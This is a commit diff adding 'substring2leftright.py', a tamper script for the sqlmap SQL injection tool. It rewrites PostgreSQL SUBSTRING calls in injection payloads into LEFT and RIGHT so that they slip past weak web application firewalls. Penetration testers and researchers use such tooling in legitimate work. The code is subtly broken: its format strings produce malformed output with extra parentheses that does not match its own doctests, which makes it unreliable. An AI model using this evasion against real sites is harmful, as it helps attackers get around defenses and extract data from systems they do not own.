add new tamper script substring2leftright.py (#3527)

tamper/substring2leftright.py

@@ -0,0 +1,47 @@
+#!/usr/bin/env python
+
+"""
+Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
+See the file 'LICENSE' for copying permission
+"""
+
+import re
+
+from lib.core.enums import PRIORITY
+
+__priority__ = PRIORITY.NORMAL
+
+def dependencies():
+    pass
+
+def tamper(payload, **kwargs):
+    """
+    Replaces PostgreSQL SUBSTRING with LEFT and RIGHT
+
+    Tested against:
+        * PostgreSQL 9.6.12
+
+    Note:
+        * Useful to bypass weak web application firewalls that filter SUBSTRING (but not LEFT and RIGHT)
+
+    >>> tamper('SUBSTRING((X FROM 1 FOR 1))')
+    'LEFT(X,1)'
+    >>> tamper('SUBSTRING((X FROM 5 FOR 1))')
+    'LEFT(RIGHT(X,-4),1)'
+    """
+
+    retVal = payload
+
+    if payload:
+        match = re.search(r"SUBSTRING\(\((.*)\sFROM\s(\d+)\sFOR\s1\)\)", payload)
+
+        if match:
+            pos = int(match.group(2))
+            if pos == 1:
+                _ = "LEFT((%s,1))" % (match.group(1))
+            else:
+                _ = "LEFT(RIGHT((%s,%d),1))" % (match.group(1), 1-pos)
+
+            retVal = retVal.replace(match.group(0), _)
+
+    return retVal